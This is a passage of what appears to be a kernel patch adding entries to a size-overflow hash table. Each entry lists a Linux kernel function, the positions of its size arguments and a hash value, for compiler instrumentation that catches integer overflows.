_000697_hash NULL ++_000698_hash alloc_netdev_mqs 1 30030 _000698_hash NULL ++_000699_hash __alloc_objio_seg 1 7203 _000699_hash NULL ++_000700_hash alloc_ring 2-4 15345 _000700_hash NULL ++_000701_hash alloc_ring 2-4 39151 _000701_hash NULL ++_000704_hash alloc_session 1-2 64171 _000704_hash NULL ++_000708_hash alloc_smp_req 1 51337 _000708_hash NULL ++_000709_hash alloc_smp_resp 1 3566 _000709_hash NULL ++_000710_hash alloc_ts_config 1 45775 _000710_hash NULL ++_000711_hash alloc_upcall 2 62186 _000711_hash NULL ++_000712_hash altera_drscan 2 48698 _000712_hash NULL ++_000713_hash altera_irscan 2 62396 _000713_hash NULL ++_000714_hash altera_set_dr_post 2 54291 _000714_hash NULL ++_000715_hash altera_set_dr_pre 2 64862 _000715_hash NULL ++_000716_hash altera_set_ir_post 2 20948 _000716_hash NULL ++_000717_hash altera_set_ir_pre 2 54103 _000717_hash NULL ++_000718_hash altera_swap_dr 2 50090 _000718_hash NULL ++_000719_hash altera_swap_ir 2 9194 _000719_hash &_000696_hash ++_000720_hash amd_create_gatt_pages 1 20537 _000720_hash NULL ++_000721_hash aoechr_write 3 62883 _001352_hash NULL nohasharray ++_000722_hash applesmc_create_nodes 2 49392 _000722_hash NULL ++_000723_hash array_zalloc 1-2 7519 _000723_hash NULL ++_000725_hash arvo_sysfs_read 6 31617 _000725_hash NULL ++_000726_hash arvo_sysfs_write 6 3311 _000726_hash NULL ++_000727_hash asd_store_update_bios 4 10165 _000727_hash NULL ++_000728_hash ata_host_alloc 2 46094 _000728_hash NULL ++_000729_hash atalk_sendmsg 4 21677 _000729_hash NULL ++_000730_hash ath6kl_cfg80211_connect_event 7-9-8 13443 _000730_hash NULL ++_000731_hash ath6kl_mgmt_tx 9 21153 _000731_hash NULL ++_000732_hash ath6kl_wmi_roam_tbl_event_rx 3 43440 _000732_hash NULL ++_000733_hash ath6kl_wmi_send_mgmt_cmd 7 17347 _000733_hash NULL ++_000734_hash ath_descdma_setup 5 12257 _000734_hash NULL ++_000735_hash ath_rx_edma_init 2 65483 _000735_hash NULL ++_000736_hash ati_create_gatt_pages 1 4722 _003185_hash NULL nohasharray ++_000737_hash au0828_init_isoc 2-3 61917 _000737_hash NULL ++_000739_hash audit_init_entry 1 38644 _000739_hash NULL ++_000740_hash ax25_sendmsg 4 62770 _000740_hash NULL ++_000741_hash b1_alloc_card 1 36155 _000741_hash NULL ++_000742_hash b43_nphy_load_samples 3 36481 _000742_hash NULL ++_000743_hash bio_copy_user_iov 4 37660 _000743_hash NULL ++_000744_hash __bio_map_kern 2-3 47379 _000744_hash NULL ++_000746_hash blk_register_region 1-2 51424 _000746_hash NULL ++_000748_hash bm_entry_write 3 28338 _000748_hash NULL ++_000749_hash bm_realloc_pages 2 9431 _000749_hash NULL ++_000750_hash bm_register_write 3 9893 _000750_hash &_000569_hash ++_000751_hash bm_status_write 3 12964 _000751_hash NULL ++_000752_hash br_mdb_rehash 2 42643 _000752_hash NULL ++_000753_hash btrfs_copy_from_user 3-1 43806 _000753_hash NULL ++_000754_hash btrfs_insert_delayed_dir_index 4 63720 _000754_hash NULL ++_000755_hash __btrfs_map_block 3 49839 _000755_hash NULL ++_000756_hash __c4iw_init_resource_fifo 3 8334 _000756_hash NULL ++_000757_hash cache_downcall 3 13666 _000757_hash NULL ++_000758_hash cache_slow_downcall 2 8570 _000758_hash NULL ++_000759_hash ca_extend 2 64541 _000759_hash NULL ++_000760_hash caif_seqpkt_sendmsg 4 22961 _000760_hash NULL ++_000761_hash caif_stream_sendmsg 4 9110 _000761_hash NULL ++_000762_hash carl9170_cmd_buf 3 950 _000762_hash NULL ++_000763_hash cdev_add 2-3 38176 _000763_hash NULL ++_000765_hash cdrom_read_cdda 4 50478 _000765_hash NULL ++_000766_hash ceph_dns_resolve_name 1-2 62488 _000766_hash NULL ++_000767_hash ceph_msgpool_get 2 54258 _000767_hash NULL ++_000768_hash cfg80211_connect_result 4-6 56515 _000768_hash NULL ++_000770_hash cfg80211_disconnected 4 57 _000770_hash NULL ++_000771_hash cfg80211_inform_bss 8 19332 _000771_hash NULL ++_000772_hash cfg80211_inform_bss_frame 4 41078 _000772_hash NULL ++_000773_hash cfg80211_mlme_register_mgmt 5 19852 _000773_hash NULL ++_000774_hash cfg80211_roamed_bss 4-6 50198 _000774_hash NULL ++_000776_hash cifs_readdata_alloc 1 50318 _000776_hash NULL ++_000777_hash cifs_readv_from_socket 3 19109 _000777_hash NULL ++_000778_hash cifs_writedata_alloc 1 32880 _003119_hash NULL nohasharray ++_000779_hash cnic_alloc_dma 3 34641 _000779_hash NULL ++_000780_hash configfs_write_file 3 61621 _000780_hash NULL ++_000781_hash construct_key 3 11329 _000781_hash NULL ++_000782_hash context_alloc 3 24645 _000782_hash NULL ++_000783_hash copy_to_user 3 57835 _000783_hash NULL ++_000784_hash create_attr_set 1 22861 _000784_hash NULL ++_000785_hash create_bounce_buffer 3 39155 _000785_hash NULL ++_000786_hash create_gpadl_header 2 19064 _000786_hash NULL ++_000787_hash _create_sg_bios 4 31244 _000787_hash NULL ++_000788_hash cryptd_alloc_instance 2-3 18048 _000788_hash NULL ++_000790_hash crypto_ahash_setkey 3 55134 _000790_hash NULL ++_000791_hash crypto_alloc_instance2 3 25277 _000791_hash NULL ++_000792_hash crypto_shash_setkey 3 60483 _000792_hash NULL ++_000793_hash cx231xx_init_bulk 3-2 47024 _000793_hash NULL ++_000794_hash cx231xx_init_isoc 2-3 56453 _000794_hash NULL ++_000796_hash cx231xx_init_vbi_isoc 2-3 28053 _000796_hash NULL ++_000798_hash cxgb_alloc_mem 1 24007 _000798_hash NULL ++_000799_hash cxgbi_device_portmap_create 3 25747 _000799_hash NULL ++_000800_hash cxgbi_device_register 1-2 36746 _000800_hash NULL ++_000802_hash __cxio_init_resource_fifo 3 23447 _000802_hash NULL ++_000803_hash dccp_sendmsg 4 56058 _000803_hash NULL ++_000804_hash ddp_make_gl 1 12179 _000804_hash NULL ++_000805_hash depth_write 3 3021 _000805_hash NULL ++_000806_hash dev_irnet_write 3 11398 _000806_hash NULL ++_000807_hash dev_set_alias 3 50084 _000807_hash NULL ++_000808_hash dev_write 3 7708 _000808_hash NULL ++_000809_hash dfs_global_file_write 3 6112 _000809_hash NULL ++_000810_hash dgram_sendmsg 4 45679 _000810_hash NULL ++_000811_hash disconnect 4 32521 _000811_hash NULL ++_000812_hash dma_attach 6-7 50831 _000812_hash NULL ++_000814_hash dn_sendmsg 4 38390 _000814_hash NULL ++_000815_hash do_dccp_setsockopt 5 54377 _003160_hash NULL nohasharray ++_000816_hash do_jffs2_setxattr 5 25910 _000816_hash NULL ++_000817_hash do_msgsnd 4 1387 _000817_hash NULL ++_000818_hash do_raw_setsockopt 5 55215 _000818_hash NULL ++_000819_hash do_readv_writev 4 51849 _000819_hash NULL ++_000820_hash do_sync 1 9604 _000820_hash NULL ++_000821_hash dup_array 3 33551 _000821_hash NULL ++_000822_hash dvb_audio_write 3 51275 _000822_hash NULL ++_000823_hash dvb_ca_en50221_init 4 45718 _000823_hash NULL ++_000824_hash dvb_video_write 3 754 _000824_hash NULL ++_000825_hash econet_sendmsg 4 51430 _000825_hash NULL ++_000826_hash ecryptfs_decode_and_decrypt_filename 5 10379 _000826_hash NULL ++_000827_hash ecryptfs_encrypt_and_encode_filename 6 2109 _000827_hash NULL ++_000828_hash ecryptfs_send_message_locked 2 31801 _000828_hash NULL ++_000829_hash edac_device_alloc_ctl_info 1 5941 _000829_hash NULL ++_000830_hash edac_mc_alloc 1 54846 _000830_hash NULL ++_000831_hash edac_pci_alloc_ctl_info 1 63388 _000831_hash NULL ++_000832_hash efivar_create_sysfs_entry 2 19485 _000832_hash NULL ++_000833_hash em28xx_alloc_isoc 4 46892 _000833_hash NULL ++_000834_hash enable_write 3 30456 _000834_hash NULL ++_000835_hash enclosure_register 3 57412 _000835_hash NULL ++_000836_hash ext4_kvzalloc 1 47605 _000836_hash NULL ++_000837_hash extend_netdev_table 2 31680 _000837_hash NULL ++_000838_hash __feat_register_sp 6 64712 _000838_hash NULL ++_000839_hash __ffs_ep0_read_events 3 48868 _000839_hash NULL ++_000840_hash ffs_ep0_write 3 9438 _000840_hash NULL ++_000841_hash ffs_epfile_read 3 18775 _000841_hash NULL ++_000842_hash ffs_epfile_write 3 48014 _000842_hash NULL ++_000843_hash fib_info_hash_alloc 1 9075 _000843_hash NULL ++_000844_hash fillonedir 3 41746 _000844_hash NULL ++_000845_hash flexcop_device_kmalloc 1 54793 _000845_hash NULL ++_000846_hash frame_alloc 4 15981 _000846_hash NULL ++_000847_hash fw_node_create 2 9559 _000847_hash NULL ++_000848_hash garmin_read_process 3 27509 _000848_hash NULL ++_000849_hash garp_request_join 4 7471 _000849_hash NULL ++_000850_hash get_derived_key 4 61100 _000850_hash NULL ++_000851_hash get_entry 4 16003 _000851_hash NULL ++_000852_hash get_free_de 2 33714 _000852_hash NULL ++_000853_hash get_new_cssid 2 51665 _000853_hash NULL ++_000854_hash getxattr 4 24398 _003728_hash NULL nohasharray ++_000855_hash gspca_dev_probe2 4 59833 _000855_hash NULL ++_000856_hash hcd_alloc_coherent 5 55862 _000856_hash NULL ++_000857_hash hci_sock_sendmsg 4 37420 _000857_hash NULL ++_000858_hash hid_register_field 2-3 4874 _000858_hash NULL ++_000860_hash hid_report_raw_event 4 7024 _000860_hash NULL ++_000861_hash hpi_alloc_control_cache 1 35351 _000861_hash NULL ++_000862_hash hugetlbfs_read_actor 2-5-4 34547 _000862_hash NULL ++_000865_hash hvc_alloc 4 12579 _000865_hash NULL ++_000866_hash __hwahc_dev_set_key 5 46328 _000866_hash NULL ++_000867_hash i2400m_zrealloc_2x 3 54166 _001430_hash NULL nohasharray ++_000868_hash ib_alloc_device 1 26483 _000868_hash NULL ++_000869_hash ib_create_send_mad 5 1196 _000869_hash NULL ++_000870_hash ibmasm_new_command 2 25714 _000870_hash NULL ++_000871_hash ib_send_cm_drep 3 50186 _000871_hash NULL ++_000872_hash ib_send_cm_mra 4 60202 _003875_hash NULL nohasharray ++_000873_hash ib_send_cm_rtu 3 63138 _000873_hash NULL ++_000874_hash ieee80211_key_alloc 3 19065 _000874_hash NULL ++_000875_hash ieee80211_mgmt_tx 9 46860 _000875_hash NULL ++_000876_hash ieee80211_send_probe_req 6-4 6924 _000876_hash NULL ++_000877_hash if_writecmd 2 815 _000877_hash NULL ++_000878_hash init_bch 1-2 64130 _000878_hash NULL ++_000880_hash init_ipath 1 48187 _000880_hash NULL ++_000881_hash init_list_set 2-3 39188 _000881_hash NULL ++_000883_hash init_q 4 132 _000883_hash NULL ++_000884_hash init_state 2 60165 _000884_hash NULL ++_000885_hash init_tag_map 3 57515 _000885_hash NULL ++_000886_hash input_ff_create 2 21240 _000886_hash NULL ++_000887_hash input_mt_init_slots 2 31183 _000887_hash NULL ++_000888_hash interfaces 2 38859 _000888_hash NULL ++_000889_hash ioat2_alloc_ring 2 11172 _000889_hash NULL ++_000890_hash ip_generic_getfrag 3-4 12187 _000890_hash NULL ++_000892_hash ipr_alloc_ucode_buffer 1 40199 _000892_hash NULL ++_000893_hash ip_set_alloc 1 57953 _000893_hash NULL ++_000894_hash ipv6_flowlabel_opt 3 58135 _001125_hash NULL nohasharray ++_000895_hash ipv6_renew_options 5 28867 _000895_hash NULL ++_000896_hash ipxrtr_route_packet 4 54036 _000896_hash NULL ++_000897_hash irda_sendmsg 4 4388 _000897_hash NULL ++_000898_hash irda_sendmsg_dgram 4 38563 _000898_hash NULL ++_000899_hash irda_sendmsg_ultra 4 42047 _000899_hash NULL ++_000900_hash irias_add_octseq_attrib 4 29983 _000900_hash NULL ++_000901_hash irq_alloc_generic_chip 2 26650 _000901_hash NULL ++_000902_hash irq_domain_add_linear 2 29236 _000902_hash NULL ++_000903_hash iscsi_alloc_session 3 49390 _000903_hash NULL ++_000904_hash iscsi_create_conn 2 50425 _000904_hash NULL ++_000905_hash iscsi_create_endpoint 1 15193 _000905_hash NULL ++_000906_hash iscsi_create_iface 5 38510 _000906_hash NULL ++_000907_hash iscsi_decode_text_input 4 58292 _000907_hash NULL ++_000908_hash iscsi_pool_init 2-4 54913 _000908_hash NULL ++_000910_hash iscsit_dump_data_payload 2 38683 _000910_hash NULL ++_000911_hash isdn_write 3 45863 _000911_hash NULL ++_000912_hash isku_receive 4 54130 _000912_hash NULL ++_000913_hash isku_send 4 41542 _000913_hash NULL ++_000914_hash islpci_mgt_transaction 5 23610 _000914_hash NULL ++_000915_hash iso_sched_alloc 1 13377 _002079_hash NULL nohasharray ++_000916_hash ivtv_v4l2_write 3 39226 _000916_hash NULL ++_000917_hash iwl_trans_txq_alloc 3 36147 _000917_hash NULL ++_000918_hash iwmct_fw_parser_init 4 37876 _000918_hash NULL ++_000919_hash iwm_notif_send 6 12295 _000919_hash NULL ++_000920_hash iwm_ntf_calib_res 3 11686 _000920_hash NULL ++_000921_hash iwm_umac_set_config_var 4 17320 _000921_hash NULL ++_000922_hash ixgbe_alloc_q_vector 3-5 45428 _000922_hash NULL ++_000924_hash jbd2_journal_init_revoke 2 51088 _000924_hash NULL ++_000925_hash jffs2_write_dirent 5 37311 _000925_hash NULL ++_000926_hash journal_init_revoke 2 56933 _000926_hash NULL ++_000927_hash keyctl_instantiate_key 3 41855 _000927_hash NULL ++_000928_hash keyctl_instantiate_key_iov 3 16969 _000928_hash NULL ++_000929_hash __kfifo_from_user 3 20399 _000929_hash NULL ++_000930_hash kimage_crash_alloc 3 3233 _000930_hash NULL ++_000931_hash kimage_normal_alloc 3 31140 _000931_hash NULL ++_000932_hash kmem_realloc 2 37489 _000932_hash NULL ++_000933_hash kmem_zalloc 1 11510 _000933_hash NULL ++_000934_hash koneplus_send 4 18226 _000934_hash NULL ++_000935_hash koneplus_sysfs_read 6 42792 _000935_hash NULL ++_000936_hash kovaplus_send 4 10009 _000936_hash NULL ++_000937_hash kvm_read_guest_page_mmu 6 37611 _000937_hash NULL ++_000938_hash kvm_set_irq_routing 3 48704 _000938_hash NULL ++_000939_hash kvm_write_guest_cached 4 11106 _000939_hash NULL ++_000940_hash kvm_write_guest_page 5 63555 _002809_hash NULL nohasharray ++_000941_hash l2cap_skbuff_fromiovec 3-4 35003 _000941_hash NULL ++_000943_hash l2tp_ip_sendmsg 4 50411 _000943_hash NULL ++_000944_hash l2tp_session_create 1 25286 _000944_hash NULL ++_000945_hash lc_create 3 48662 _000945_hash NULL ++_000946_hash leaf_dealloc 3 29566 _000946_hash NULL ++_000947_hash linear_conf 2 23485 _003314_hash NULL nohasharray ++_000948_hash lirc_buffer_init 2-3 53282 _000948_hash NULL ++_000950_hash llc_ui_sendmsg 4 24987 _000950_hash NULL ++_000951_hash lpfc_sli4_queue_alloc 3 62646 _000951_hash NULL ++_000952_hash mce_request_packet 3 1073 _000952_hash NULL ++_000953_hash mdiobus_alloc_size 1 52259 _000953_hash NULL ++_000954_hash media_entity_init 2-4 15870 _001556_hash NULL nohasharray ++_000956_hash memstick_alloc_host 1 142 _000956_hash NULL ++_000957_hash mesh_table_alloc 1 22305 _000957_hash NULL ++_000958_hash mfd_add_devices 4 56753 _000958_hash NULL ++_000959_hash mISDN_sock_sendmsg 4 41035 _000959_hash NULL ++_000960_hash mmc_alloc_host 1 48097 _000960_hash NULL ++_000961_hash mmc_test_alloc_mem 3-2 28102 _000961_hash NULL ++_000962_hash mpi_alloc 1 18094 _000962_hash NULL ++_000963_hash mpihelp_mul_karatsuba_case 5-3 23918 _003873_hash NULL nohasharray ++_000964_hash mpihelp_mul_n 4 16405 _000964_hash NULL ++_000965_hash mpi_set_bit 2 15104 _000965_hash NULL ++_000966_hash mpi_set_highbit 2 37327 _001420_hash NULL nohasharray ++_000967_hash mtd_concat_create 2 14416 _000967_hash NULL ++_000968_hash mvumi_alloc_mem_resource 3 47750 _000968_hash NULL ++_000969_hash mwifiex_11n_create_rx_reorder_tbl 4 63806 _000969_hash NULL ++_000970_hash mwifiex_alloc_sdio_mpa_buffers 2-3 60961 _000970_hash NULL ++_000972_hash mwl8k_cmd_set_beacon 4 23110 _000972_hash NULL ++_000973_hash neigh_hash_alloc 1 17595 _000973_hash NULL ++_000974_hash netlink_sendmsg 4 33708 _001172_hash NULL nohasharray ++_000975_hash netxen_alloc_sds_rings 2 13417 _000975_hash NULL ++_000976_hash new_bind_ctl 2 35324 _000976_hash NULL ++_000977_hash new_dir 3 31919 _000977_hash NULL ++_000978_hash new_tape_buffer 2 32866 _000978_hash NULL ++_000979_hash nfc_llcp_build_tlv 3 19536 _000979_hash NULL ++_000980_hash nfc_llcp_send_i_frame 3 59130 _000980_hash NULL ++_000981_hash nfs4_alloc_slots 1 2454 _003914_hash NULL nohasharray ++_000982_hash nfsctl_transaction_write 3 64800 _000982_hash NULL ++_000983_hash nfs_idmap_request_key 3 30208 _000983_hash NULL ++_000984_hash nfs_readdata_alloc 1 9990 _000984_hash NULL ++_000985_hash nfs_writedata_alloc 1 62868 _000985_hash NULL ++_000986_hash nl_pid_hash_zalloc 1 23314 _000986_hash NULL ++_000987_hash nr_sendmsg 4 53656 _000987_hash NULL ++_000988_hash nsm_create_handle 4 38060 _000988_hash NULL ++_000989_hash ntfs_copy_from_user_iovec 3-6 49829 _000989_hash NULL ++_000991_hash ntfs_file_buffered_write 4-6 41442 _000991_hash NULL ++_000993_hash __ntfs_malloc 1 34022 _000993_hash NULL ++_000994_hash nvme_alloc_queue 3 46865 _000994_hash NULL ++_000995_hash ocfs2_acl_from_xattr 2 21604 _000995_hash NULL ++_000996_hash ocfs2_control_message 3 19564 _000996_hash NULL ++_000997_hash opera1_usb_i2c_msgxfer 4 64521 _000997_hash NULL ++_000998_hash _ore_get_io_state 3-5-4 2166 _000998_hash NULL ++_000999_hash orig_hash_add_if 2 53676 _000999_hash NULL ++_001000_hash orig_hash_del_if 2 45080 _001000_hash NULL ++_001001_hash orinoco_set_key 5-7 17878 _001001_hash NULL ++_001003_hash osdmap_set_max_osd 2 57630 _003740_hash NULL nohasharray ++_001004_hash _osd_realloc_seg 3 54352 _001004_hash NULL ++_001005_hash OSDSetBlock 2-4 38986 _001005_hash NULL ++_001007_hash osst_execute 7-6 17607 _001007_hash NULL ++_001008_hash osst_write 3 31581 _001008_hash NULL ++_001009_hash otp_read 2-5-4 10594 _001009_hash NULL ++_001012_hash ovs_vport_alloc 1 33475 _001012_hash NULL ++_001013_hash packet_sendmsg_spkt 4 28885 _001013_hash NULL ++_001014_hash pair_device 4 61175 _001708_hash NULL nohasharray ++_001015_hash pccard_store_cis 6 18176 _001015_hash NULL ++_001016_hash pci_add_cap_save_buffer 3 3426 _001016_hash NULL ++_001017_hash pcnet32_realloc_rx_ring 3 36598 _001017_hash NULL ++_001018_hash pcnet32_realloc_tx_ring 3 38428 _001018_hash NULL ++_001019_hash pcpu_mem_zalloc 1 22948 _001019_hash NULL ++_001020_hash pep_sendmsg 4 62524 _001020_hash NULL ++_001021_hash pfkey_sendmsg 4 47394 _001021_hash NULL ++_001022_hash pidlist_resize 2 496 _001022_hash NULL ++_001023_hash pin_code_reply 4 46510 _001023_hash NULL ++_001024_hash ping_getfrag 3-4 8360 _001024_hash NULL ++_001026_hash pipe_set_size 2 5204 _001026_hash NULL ++_001027_hash pkt_bio_alloc 1 48284 _001027_hash NULL ++_001028_hash platform_create_bundle 4-6 12785 _001028_hash NULL ++_001030_hash play_iframe 3 8219 _001030_hash NULL ++_001031_hash pm8001_store_update_fw 4 55716 _001031_hash NULL ++_001032_hash pmcraid_alloc_sglist 1 9864 _001032_hash NULL ++_001033_hash pn533_dep_link_up 5 7659 _001033_hash NULL ++_001034_hash pnp_alloc 1 24869 _001419_hash NULL nohasharray ++_001035_hash pn_sendmsg 4 12640 _001035_hash NULL ++_001036_hash pppoe_sendmsg 4 48039 _001036_hash NULL ++_001037_hash pppol2tp_sendmsg 4 56420 _001037_hash NULL ++_001038_hash process_vm_rw 3-5 47533 _001038_hash NULL ++_001040_hash process_vm_rw_single_vec 1-2 26213 _001040_hash NULL ++_001042_hash proc_write 3 51003 _001042_hash NULL ++_001043_hash profile_load 3 58267 _001043_hash NULL ++_001044_hash profile_remove 3 8556 _001044_hash NULL ++_001045_hash profile_replace 3 14652 _001045_hash NULL ++_001046_hash pscsi_get_bio 1 56103 _001046_hash NULL ++_001047_hash pyra_send 4 12061 _001047_hash NULL ++_001048_hash qc_capture 3 19298 _001048_hash NULL ++_001049_hash qla4xxx_alloc_work 2 44813 _001049_hash NULL ++_001050_hash qlcnic_alloc_msix_entries 2 46160 _001050_hash NULL ++_001051_hash qlcnic_alloc_sds_rings 2 26795 _001051_hash NULL ++_001052_hash queue_received_packet 5 9657 _001052_hash NULL ++_001053_hash raw_send_hdrinc 4 58803 _001053_hash NULL ++_001054_hash raw_sendmsg 4 23078 _001054_hash &_000022_hash ++_001055_hash rawsock_sendmsg 4 60010 _001055_hash NULL ++_001056_hash rawv6_send_hdrinc 3 35425 _001056_hash NULL ++_001057_hash rb_alloc 1 3102 _001057_hash NULL ++_001058_hash rbd_alloc_coll 1 33678 _001058_hash NULL ++_001059_hash rbd_create_rw_ops 2 4605 _001059_hash NULL ++_001060_hash rds_ib_inc_copy_to_user 3 55007 _001060_hash NULL ++_001061_hash rds_iw_inc_copy_to_user 3 29214 _001061_hash NULL ++_001062_hash rds_message_alloc 1 10517 _001062_hash NULL ++_001063_hash rds_message_copy_from_user 3 45510 _001063_hash NULL ++_001064_hash rds_message_inc_copy_to_user 3 26540 _001064_hash NULL ++_001065_hash redrat3_transmit_ir 3 64244 _001065_hash NULL ++_001066_hash regcache_rbtree_insert_to_block 5 58009 _001066_hash NULL ++_001067_hash _regmap_raw_write 4 42652 _001067_hash NULL ++_001068_hash regmap_register_patch 3 21681 _001068_hash NULL ++_001069_hash relay_alloc_page_array 1 52735 _001069_hash NULL ++_001070_hash remove_uuid 4 64505 _001070_hash NULL ++_001071_hash reshape_ring 2 29147 _001071_hash NULL ++_001072_hash RESIZE_IF_NEEDED 2 56286 _001072_hash NULL ++_001073_hash resize_stripes 2 61650 _001073_hash NULL ++_001074_hash rfcomm_sock_sendmsg 4 37661 _003927_hash NULL nohasharray ++_001075_hash rose_sendmsg 4 20249 _001075_hash NULL ++_001076_hash rxrpc_send_data 5 21553 _001076_hash NULL ++_001077_hash rxrpc_setsockopt 5 50286 _001077_hash NULL ++_001078_hash saa7146_vmalloc_build_pgtable 2 19780 _001078_hash NULL ++_001079_hash saa7164_buffer_alloc_user 2 9627 _001079_hash NULL ++_001081_hash sco_send_frame 3 41815 _001081_hash NULL ++_001082_hash scsi_host_alloc 2 63041 _001082_hash NULL ++_001083_hash scsi_tgt_kspace_exec 8 9522 _001083_hash NULL ++_001084_hash sctp_sendmsg 4 61919 _001084_hash NULL ++_001085_hash sctp_setsockopt 5 44788 _001085_hash NULL ++_001086_hash sctp_setsockopt_connectx 3 6073 _001086_hash NULL ++_001087_hash sctp_setsockopt_connectx_old 3 22631 _001087_hash NULL ++_001088_hash sctp_tsnmap_init 2 36446 _001088_hash NULL ++_001089_hash sctp_user_addto_chunk 2-3 62047 _001089_hash NULL ++_001091_hash security_context_to_sid 2 19839 _001091_hash NULL ++_001092_hash security_context_to_sid_default 2 3492 _003366_hash NULL nohasharray ++_001093_hash security_context_to_sid_force 2 20724 _001093_hash NULL ++_001094_hash selinux_transaction_write 3 59038 _001094_hash NULL ++_001095_hash sel_write_access 3 51704 _001095_hash NULL ++_001096_hash sel_write_create 3 11353 _001096_hash NULL ++_001097_hash sel_write_member 3 28800 _001097_hash NULL ++_001098_hash sel_write_relabel 3 55195 _001098_hash NULL ++_001099_hash sel_write_user 3 45060 _001099_hash NULL ++_001100_hash __seq_open_private 3 40715 _001100_hash NULL ++_001101_hash serverworks_create_gatt_pages 1 46582 _001101_hash NULL ++_001102_hash set_connectable 4 56458 _001102_hash NULL ++_001103_hash set_dev_class 4 39645 _001697_hash NULL nohasharray ++_001104_hash set_discoverable 4 48141 _001104_hash NULL ++_001105_hash setkey 3 14987 _001105_hash NULL ++_001106_hash set_le 4 30581 _001106_hash NULL ++_001107_hash set_link_security 4 4502 _001107_hash NULL ++_001108_hash set_local_name 4 55757 _001108_hash NULL ++_001109_hash set_powered 4 12129 _001109_hash NULL ++_001110_hash set_ssp 4 62411 _001110_hash NULL ++_001111_hash sg_build_sgat 3 60179 _001111_hash &_000305_hash ++_001112_hash sg_read_oxfer 3 51724 _001112_hash NULL ++_001113_hash shmem_xattr_set 4 11843 _001113_hash NULL ++_001114_hash simple_alloc_urb 3 60420 _001114_hash NULL ++_001115_hash sisusb_send_bridge_packet 2 11649 _001115_hash NULL ++_001116_hash sisusb_send_packet 2 20891 _001116_hash NULL ++_001117_hash skb_add_data_nocache 4 4682 _001117_hash NULL ++_001118_hash skb_copy_datagram_from_iovec 2-5-4 52014 _001118_hash NULL ++_001121_hash skb_copy_to_page_nocache 6 58624 _001121_hash NULL ++_001122_hash sk_chk_filter 2 42095 _001122_hash NULL ++_001123_hash skcipher_sendmsg 4 30290 _001123_hash NULL ++_001124_hash sl_change_mtu 2 7396 _001124_hash NULL ++_001125_hash slhc_init 1-2 58135 _001125_hash &_000894_hash ++_001127_hash sm501_create_subdev 3-4 48668 _003678_hash NULL nohasharray ++_001129_hash smk_write_access 3 49561 _001129_hash NULL ++_001130_hash snapshot_write 3 28351 _001130_hash NULL ++_001131_hash snd_ac97_pcm_assign 2 30218 _001131_hash NULL ++_001132_hash snd_card_create 4 64418 _001411_hash NULL nohasharray ++_001133_hash snd_emux_create_port 3 42533 _001133_hash NULL ++_001134_hash snd_gus_dram_write 4 38784 _001134_hash NULL ++_001135_hash snd_midi_channel_alloc_set 1 28153 _001135_hash NULL ++_001136_hash _snd_pcm_lib_alloc_vmalloc_buffer 2 17820 _001136_hash NULL ++_001137_hash snd_pcm_oss_sync1 2 45298 _001137_hash NULL ++_001138_hash snd_pcm_oss_write 3 38108 _001138_hash NULL ++_001139_hash snd_pcm_plugin_build 5 25505 _001139_hash NULL ++_001140_hash snd_rawmidi_kernel_write 3 25106 _001140_hash NULL ++_001141_hash snd_rawmidi_write 3 28008 _001141_hash NULL ++_001142_hash snd_rme32_playback_copy 5 43732 _001142_hash NULL ++_001143_hash snd_rme96_playback_copy 5 13111 _001143_hash NULL ++_001144_hash snd_seq_device_new 4 31753 _001144_hash NULL ++_001145_hash snd_seq_oss_readq_new 2 14283 _001145_hash NULL ++_001146_hash snd_vx_create 4 40948 _001146_hash NULL ++_001147_hash sock_setsockopt 5 50088 _001147_hash NULL ++_001148_hash sound_write 3 5102 _001148_hash NULL ++_001149_hash _sp2d_alloc 1-3-2 16944 _001149_hash NULL ++_001150_hash spi_alloc_master 2 45223 _001150_hash NULL ++_001151_hash spidev_message 3 5518 _001151_hash NULL ++_001152_hash spi_register_board_info 2 35651 _001152_hash NULL ++_001153_hash squashfs_cache_init 2 41656 _001153_hash NULL ++_001154_hash squashfs_read_data 6 59440 _001154_hash NULL ++_001155_hash srp_alloc_iu 2 44227 _001155_hash NULL ++_001156_hash srp_iu_pool_alloc 2 17920 _001156_hash NULL ++_001157_hash srp_ring_alloc 2 26760 _001157_hash NULL ++_001159_hash start_isoc_chain 2 565 _001159_hash NULL ++_001160_hash stk_prepare_sio_buffers 2 57168 _001160_hash NULL ++_001161_hash store_iwmct_log_level 4 60209 _001161_hash NULL ++_001162_hash store_iwmct_log_level_fw 4 1974 _001162_hash NULL ++_001163_hash st_write 3 16874 _001163_hash NULL ++_001164_hash svc_pool_map_alloc_arrays 2 47181 _001164_hash NULL ++_001165_hash symtab_init 2 61050 _001165_hash NULL ++_001166_hash sys_bind 3 10799 _001166_hash NULL ++_001167_hash sys_connect 3 15291 _003291_hash NULL nohasharray ++_001168_hash sys_flistxattr 3 41407 _001168_hash NULL ++_001169_hash sys_fsetxattr 4 49736 _001169_hash NULL ++_001170_hash sysfs_write_file 3 57116 _001170_hash NULL ++_001171_hash sys_ipc 3 4889 _001171_hash NULL ++_001172_hash sys_keyctl 4 33708 _001172_hash &_000974_hash ++_001173_hash sys_listxattr 3 27833 _001173_hash NULL ++_001174_hash sys_llistxattr 3 4532 _001174_hash NULL ++_001175_hash sys_lsetxattr 4 61177 _001175_hash NULL ++_001176_hash sys_mq_timedsend 3 57661 _001176_hash NULL ++_001177_hash sys_sched_setaffinity 2 32046 _001177_hash NULL ++_001178_hash sys_semop 3 39457 _001178_hash NULL ++_001179_hash sys_sendto 6 20809 _001179_hash NULL ++_001180_hash sys_setxattr 4 37880 _001180_hash NULL ++_001181_hash t4_alloc_mem 1 32342 _001181_hash NULL ++_001182_hash tcf_hash_create 4 54360 _001182_hash NULL ++_001183_hash __team_options_register 3 63941 _001183_hash NULL ++_001184_hash test_unaligned_bulk 3 52333 _001184_hash NULL ++_001185_hash tifm_alloc_adapter 1 10903 _001185_hash NULL ++_001186_hash timeout_write 3 50991 _001186_hash NULL ++_001187_hash tipc_link_send_sections_fast 4 37920 _001187_hash NULL ++_001188_hash tipc_subseq_alloc 1 5957 _001188_hash NULL ++_001189_hash tm6000_read_write_usb 7 50774 _002917_hash NULL nohasharray ++_001190_hash tnode_alloc 1 49407 _001190_hash NULL ++_001191_hash tomoyo_commit_ok 2 20167 _001191_hash NULL ++_001192_hash tomoyo_scan_bprm 2-4 15642 _001192_hash NULL ++_001194_hash tps65910_i2c_write 3 39531 _001194_hash NULL ++_001195_hash ts_write 3 64336 _001195_hash NULL ++_001196_hash ttusb2_msg 4 3100 _001196_hash NULL ++_001197_hash tty_write 3 5494 _001197_hash NULL ++_001198_hash ubi_dbg_check_all_ff 4 59810 _001198_hash NULL ++_001199_hash 